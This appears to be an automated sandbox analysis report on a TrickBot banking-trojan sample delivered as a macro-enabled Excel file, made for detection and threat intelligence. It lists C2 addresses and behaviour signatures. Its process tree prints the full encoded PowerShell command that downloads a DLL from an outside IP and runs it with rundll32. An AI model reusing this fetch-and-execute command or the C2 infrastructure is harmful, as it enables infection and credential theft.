trickbot | 6cdc36e5c8774b62bbeeaa2141af5fd3c9c5ca33e0197e6301f76f23e59e9e22

General

Target

doc2_5.xlsm
Size

130KB
MD5

bb9509e3a758f80aba854fbf3f1fb7be
SHA1

45389b76ed4ad5d41205b754775de4f9f3fd1076
SHA256

6cdc36e5c8774b62bbeeaa2141af5fd3c9c5ca33e0197e6301f76f23e59e9e22
SHA512

c11c2e545ca8d092c772a8d2bda01bb82be89b81f2ac3c0d2e478972b5606ed8405fc350d993434cd4023b4ff958dd83e470f89d3726a144de766ba5cbc550e7

Score

10^/10

trickbot sof1 banker trojan

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

sof1

C2

65.152.201.203:443

185.56.175.122:443

46.99.175.217:443

179.189.229.254:443

46.99.175.149:443

181.129.167.82:443

216.166.148.187:443

46.99.188.223:443

128.201.76.252:443

62.99.79.77:443

60.51.47.65:443

24.162.214.166:443

45.36.99.184:443

97.83.40.67:443

184.74.99.214:443

103.105.254.17:443

62.99.76.213:443

82.159.149.52:443

Attributes

autorun
Name:pwgrabb
Name:pwgrabc

ecc_pubkey.base64

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3116	1500	cmd.exe	68

Trickbot
Developed in 2016, TrickBot is one of the more recent banking Trojans.
trojan banker trickbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
30	832	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
1780	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1500	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
832	powershell.exe
832	powershell.exe
832	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	832	powershell.exe
Token: SeDebugPrivilege	1140	wermgr.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1500 wrote to memory of 3116	1500	EXCEL.EXE	72
PID 1500 wrote to memory of 3116	1500	EXCEL.EXE	72
PID 3116 wrote to memory of 832	3116	cmd.exe	74
PID 3116 wrote to memory of 832	3116	cmd.exe	74
PID 3116 wrote to memory of 3936	3116	cmd.exe	75
PID 3116 wrote to memory of 3936	3116	cmd.exe	75
PID 3936 wrote to memory of 1780	3936	rundll32.exe	76
PID 3936 wrote to memory of 1780	3936	rundll32.exe	76
PID 3936 wrote to memory of 1780	3936	rundll32.exe	76
PID 1780 wrote to memory of 4020	1780	rundll32.exe	77
PID 1780 wrote to memory of 4020	1780	rundll32.exe	77
PID 1780 wrote to memory of 4020	1780	rundll32.exe	77
PID 1780 wrote to memory of 1140	1780	rundll32.exe	78
PID 1780 wrote to memory of 1140	1780	rundll32.exe	78
PID 1780 wrote to memory of 1140	1780	rundll32.exe	78
PID 1780 wrote to memory of 1140	1780	rundll32.exe	78

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\doc2_5.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B /MIN /WAIT powershell -enc IABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEAOQA1AC4AMQAzADMALgAxADkAMgAuADEAMAAxAC8AaQBtAGEAZwBlAHMALwByAGUAZABwAGwAYQBuAGUALgBwAG4AZwAiACAALQBPAHUAdABGAGkAbABlACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABjAGwAYgAuAGQAbABsACIA & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,gigi
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc IABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAIgBoAHQAdABwADoALwAvADEAOQA1AC4AMQAzADMALgAxADkAMgAuADEAMAAxAC8AaQBtAGEAZwBlAHMALwByAGUAZABwAGwAYQBuAGUALgBwAG4AZwAiACAALQBPAHUAdABGAGkAbABlACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABjAGwAYgAuAGQAbABsACIA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:832
- - C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,gigi
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,gigi
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1780
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe
        5⤵
        
        PID:4020
    - - C:\Windows\system32\wermgr.exe
        
        C:\Windows\system32\wermgr.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/832-303-0x00000240CD566000-0x00000240CD568000-memory.dmp

Filesize
8KB

Download
memory/832-294-0x00000240CD560000-0x00000240CD562000-memory.dmp

Filesize
8KB

Download
memory/832-295-0x00000240CD563000-0x00000240CD565000-memory.dmp

Filesize
8KB

Download
memory/1140-325-0x000001B91EDE0000-0x000001B91EE09000-memory.dmp

Filesize
164KB

Download
memory/1140-326-0x000001B91EF10000-0x000001B91EF11000-memory.dmp

Filesize
4KB

Download
memory/1500-120-0x0000022DCA530000-0x0000022DCA532000-memory.dmp

Filesize
8KB

Download
memory/1500-118-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp

Filesize
64KB

Download
memory/1500-264-0x0000022DDE3C0000-0x0000022DDE3C4000-memory.dmp

Filesize
16KB

Download
memory/1500-122-0x0000022DCA530000-0x0000022DCA532000-memory.dmp

Filesize
8KB

Download
memory/1500-115-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp

Filesize
64KB

Download
memory/1500-116-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp

Filesize
64KB

Download
memory/1500-121-0x0000022DCA530000-0x0000022DCA532000-memory.dmp

Filesize
8KB

Download
memory/1500-117-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp

Filesize
64KB

Download
memory/1500-119-0x00007FFB887E0000-0x00007FFB887F0000-memory.dmp

Filesize
64KB

Download
memory/1780-320-0x0000000000630000-0x00000000006BE000-memory.dmp

Filesize
568KB

Download
memory/1780-322-0x0000000000990000-0x0000000000991000-memory.dmp

Filesize
4KB

Download
memory/1780-323-0x0000000000731000-0x0000000000733000-memory.dmp

Filesize
8KB

Download
memory/1780-321-0x00000000041A0000-0x00000000041E5000-memory.dmp

Filesize
276KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads